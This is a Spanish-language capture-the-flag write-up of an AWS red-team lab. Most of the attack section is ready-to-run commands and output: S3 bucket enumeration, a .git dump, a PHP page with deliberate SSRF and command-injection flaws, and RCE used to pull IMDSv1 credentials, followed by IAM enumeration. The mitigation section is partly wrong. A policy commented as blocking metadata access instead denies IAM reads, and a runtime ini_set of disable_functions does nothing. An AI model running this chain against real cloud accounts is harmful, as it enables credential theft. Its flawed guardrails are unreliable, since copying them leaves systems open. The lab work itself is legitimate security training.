AWS Cloud Red Teaming — CWL Meta Tech Assessment
Cadena de ataque completa contra infraestructura AWS: bucket S3 público → fuga de .git → SSRF+RCE en PHP → robo de credenciales IMDSv1 → enumeración IAM y descubrimiento de confianza cross-account. Con guardrails de mitigación (SCP, IAM, detección).
AWS Cloud Red Teaming — CWL Meta Tech Assessment
Laboratorio: CWL Meta Tech — Multi-Cloud Red Team Assessment (Módulo AWS) Plataforma: CyberWarFare Labs Objetivo: identificar y explotar misconfiguraciones en la infraestructura AWS de CWL Meta Tech Corporation.
1. Executive Summary & Attack Surface
La infraestructura de CWL Meta Tech presenta cinco fallas de diseño encadenables que permiten pasar de cero credenciales a credenciales temporales de un rol IAM con acceso de lectura a toda la configuración de identidad, y de ahí al descubrimiento de una relación de confianza cross-account. No hay un único "punto crítico": hay una superficie de entrada sin costo (bucket público) que alimenta una cadena de escalamiento.
Cadena de ataque
Superficie de ataque
| Vector | Detalle | Credenciales requeridas |
|---|---|---|
| S3 bucket público | cwl-metatech-prod legible con --no-sign-request |
Ninguna |
Fuga de repositorio .git |
Directorio servido por el web server de la VM dev | Ninguna |
| SSRF + RCE | process.php ejecuta file_get_contents($_POST['ip']) y system($_POST['organization']) |
Ninguna |
| IMDSv1 | 169.254.169.254 accesible sin token de sesión |
Ninguna (vía RCE) |
| Identidad objetivo | ec2-role → permisos de enumeración IAM |
Credenciales temporales |
Initial access: el bucket público es la puerta; la fuga de .git es la palanca que entrega el código fuente de la aplicación web vulnerable. Sin el código, el SSRF+RCE habría requerido fuzzing; con él, la explotación es directa.
2. Privilege Escalation & Lateral Movement Path
2.1 Flag 1 — OSINT: enumeración de buckets
Fuerza bruta de naming permutations sobre la keyword de la organización:
git clone https://github.com/initstring/cloud_enum.git
pip3 install -r cloud_enum/requirements.txt
python3 cloud_enum/cloud_enum.py -k cwl-metatech --disable-azure --disable-gcp
OPEN S3 BUCKET: http://cwl-metatech-prod.s3.amazonaws.com/
FILES:
-> http://cwl-metatech-prod.s3.amazonaws.com/dev-server-ip.txt
-> http://cwl-metatech-prod.s3.amazonaws.com/prod-data.txt
-> http://cwl-metatech-prod.s3.amazonaws.com/staging-data.txt
prod-data.txt expone datos de clientes en claro (PII financiera) — prueba de impacto, no solo de config:
aws s3 cp s3://cwl-metatech-prod/prod-data.txt - --no-sign-request
User Company Credit Card Number Expiry Date
Alex Amex 374245455400126 05/2026
Bob Cabal1 6271701225979642 03/2026
Lisa Cencosud1 6034932528973614 06/2026
David China Union 6250941006528599 06/2026
Flags 1 y 10: http://cwl-metatech-prod.s3.amazonaws.com/ · 6271701225979642
2.2 Flag 2 — del bucket a la app: fuga de .git
El bucket entrega la IP del dev server (18.222.161.152). El dump del repositorio permite leer el código completo:
pip3 install git-dumper
git-dumper http://18.222.161.152/.git /tmp/gitdump
process.php — el doble primitivo SSRF + RCE:
<?php
// SSRF Vulnerability
$ip = $_POST['ip'];
$content = file_get_contents($ip);
// RCE Vulnerability
$org = $_POST['organization'];
$org_output = system($org);
echo $org_output, $content;
?>
El parámetro ip se pasa sin validación a file_get_contents() — SSRF clásico. organization se ejecuta directo en system() — RCE. La lectura de código hace que ambos sean explotables de inmediato y sin fuzzing.
Flag 2: ip
2.3 Flags 3 — pivote a la identidad: IMDSv1
Con la RCE se consulta el Instance Metadata Service. IMDSv1 no exige header X-aws-ec2-metadata-token: una petición simple al link-local 169.254.169.254 devuelve el rol asociado a la instancia.
curl -s -X POST "http://18.222.161.152/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/'
ec2-role
Extracción de credenciales temporales y validación de identidad:
curl -s -X POST "http://18.222.161.152/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role'
{
"Code": "Success",
"AccessKeyId": "ASIATQGVY3V5ZIVFIUEQ",
"SecretAccessKey": "VWGLgRZnNj4spEDc+CuOgJB4U0D3M7/KuPvp+uz0",
"Token": "IQoJb3JpZ2lu...",
"Expiration": "2026-07-28T01:34:03Z"
}
export AWS_ACCESS_KEY_ID=ASIATQGVY3V5ZIVFIUEQ
export AWS_SECRET_ACCESS_KEY=VWGLgRZnNj4spEDc+CuOgJB4U0D3M7/KuPvp+uz0
export AWS_SESSION_TOKEN=IQoJb3JpZ2lu...
aws sts get-caller-identity
Account: 240966491515
Arn: arn:aws:sts::240966491515:assumed-role/ec2-role/i-0c95b6744d7501b40
Flag 3: ec2-role
Nota de detección: la cadena
18.222.161.152/process.php→169.254.169.254es el fingerprint clásico de IMDSv1 credential theft. En la sección 3 se listan los indicadores de detección.
2.4 Flags 4–9 — Post-explotación IAM
El rol asumido tiene permisos de lectura amplia sobre IAM. La enumeración revela la topología de identidad completa:
aws iam get-group --group-name interns # → int001
aws iam list-groups-for-user --user-name emp003 # → employees
aws iam get-role --role-name crossaccount-role
aws iam get-role --role-name dev-role
aws iam list-user-policies --user-name emp001 # → s3-administrator-Policy
aws iam list-attached-group-policies --group-name employees
Los dos roles con trust policy son el hallazgo de mayor valor:
// crossaccount-role — confianza desde OTRA cuenta
{
"AssumeRolePolicyDocument": {
"Statement": [{
"Principal": { "AWS": "arn:aws:iam::058264439561:user/manager" },
"Action": "sts:AssumeRole"
}]
}
}
// dev-role — confianza desde devops-role (misma cuenta)
{
"AssumeRolePolicyDocument": {
"Statement": [{
"Principal": { "AWS": "arn:aws:iam::240966491515:role/devops-role" },
"Action": "sts:AssumeRole"
}]
}
}
2.5 Mapa de confianza IAM
La lectura de las trust policies revela el camino de lateral movement entre cuentas: el user/manager de la cuenta 058264439561 puede asumir crossaccount-role en la cuenta comprometida. La enumeración de estos metadatos es posible porque ec2-role tiene permisos IAM de lectura sin razón de negocio.
Flags 4–9: int001 · employees · 058264439561 · dev-role · s3-administrator-Policy · arn:aws:iam::aws:policy/AmazonDevOpsGuruFullAccess
2.6 Resumen de flags
| # | Pregunta | Respuesta |
|---|---|---|
| 1 | Full URL del S3 bucket | http://cwl-metatech-prod.s3.amazonaws.com/ |
| 2 | Parámetro SSRF | ip |
| 3 | Role IAM del EC2 | ec2-role |
| 4 | Usuario en "interns" | int001 |
| 5 | Grupo de "emp003" | employees |
| 6 | Account ID (crossaccount-role) | 058264439561 |
| 7 | Role asumible por devops-role | dev-role |
| 8 | Inline policy de emp001 | s3-administrator-Policy |
| 9 | ARN policy de employees | arn:aws:iam::aws:policy/AmazonDevOpsGuruFullAccess |
| 10 | CC de Bob | 6271701225979642 |
3. Mitigation & Cloud Guardrails
3.1 Guardrails por capa
S3 — cerrar el acceso anónimo:
# Account-level guardrail
aws s3control put-public-access-block --account-id 240966491515 \
--public-access-block-configuration \
BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
Complemento con bucket policy explícita (defensa en profundidad):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::cwl-metatech-prod/*",
"Condition": {
"StringNotEquals": { "aws:PrincipalType": "Account" }
}
}
]
}
Web server — eliminar la fuga de .git y las funciones peligrosas:
# nginx: bloquear rutas sensibles del repo
location ~ /\.(git|env|aws|htaccess) {
deny all;
return 403;
}
<?php
// PHP: deshabilitar funciones de ejecución si no se usan
ini_set('disable_functions', 'system,exec,passthru,shell_exec,popen,proc_open');
// SSRF: nunca pasar input de usuario a un wrapper HTTP
$ip = filter_var($_POST['ip'], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
if ($ip === false) { http_response_code(400); exit; }
$content = file_get_contents('http://' . $ip . ':80/health');
El filtro
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGEbloquea link-local (169.254.0.0/16), ranges privados y loopback — el SSRF no alcanza el metadata service. Nunca basarse solo en él: el SSRF también se abusa con DNS rebinding y redirecciones, así que el endpoint de fetch debe usar un allowlist de destinos, no un blocklist.
IAM — mínimo privilegio y revisión de trust policies:
// SCP de guardrail (Organizations): bloquear acceso a metadata IMDS para roles de app
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "iam:GetRole,iam:ListUsers,iam:ListGroups,iam:GetPolicyVersion",
"Resource": "*"
}
]
}
// Trust policy endurecida — agregar ExternalId y acotar el principal
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": { "AWS": "arn:aws:iam::058264439561:root" },
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": { "sts:ExternalId": "CWL-META-TECH-2026" },
"StringLike": { "aws:SourceArn": "arn:aws:iam::058264439561:user/manager" }
}
}
]
}
IMDS — forzar v2 y límite de saltos (el cambio de mayor impacto para cerrar el vector de la Flag 3):
aws ec2 modify-instance-metadata-options \
--instance-id i-0c95b6744d7501b40 \
--http-tokens required --http-endpoint enabled --http-put-response-hop-limit 1
Con --http-tokens required, el metadata service exige X-aws-ec2-metadata-token (sesión PUT de 6h) y las respuestas sin token dan 401. El hop-limit 1 impide que contenedores o procesos saltados reenvíen la petición. Un SSRF vía file_get_contents (sin PUT) deja de poder leer credenciales.
3.2 Matriz finding → guardrail → detección
| Finding | Guardrail | Señal de detección (CloudTrail/GuardDuty/VPC) |
|---|---|---|
| S3 público con PII | Block Public Access + bucket policy Deny | GuardDuty Policy:S3/BucketPublicAccessGranted; cost alarm por GET anónimos |
.git expuesto |
deny all en nginx para ~/.git |
Picos de GET /.git/config y GET /.git/HEAD (VPC Flow Logs + WAF) |
SSRF+RCE en process.php |
Validación de input + disable_functions |
cloudtrail:GetCallerIdentity y iam:GetRole anómalos desde una IP de instancia |
| IMDSv1 credential theft | --http-tokens required + hop-limit 1 |
Peticiones a 169.254.169.254 sin token (monitoreo de host); credenciales con AccessKeyId ASIA* usadas fuera de la instancia (CloudTrail userAgent/sourceIP mismatch) |
| Trust cross-account sin ExternalId | ExternalId + aws:SourceArn en trust policy |
sts:AssumeRole desde la cuenta externa con sourceIP anómala |
3.3 Orden de prioridad de remediación
- IMDSv2 + hop-limit 1 — cierra el robo de credenciales, el pivot más grave.
- Block Public Access en S3 — elimina la superficie de entrada sin credenciales.
disable_functions+ validación deip/organization— neutraliza SSRF+RCE en origen.- Bloquear
/.git— corta la entrega de código fuente. - Auditar trust policies (ExternalId + SourceArn) y mínimo privilegio IAM — reduce el radio del post-explotación.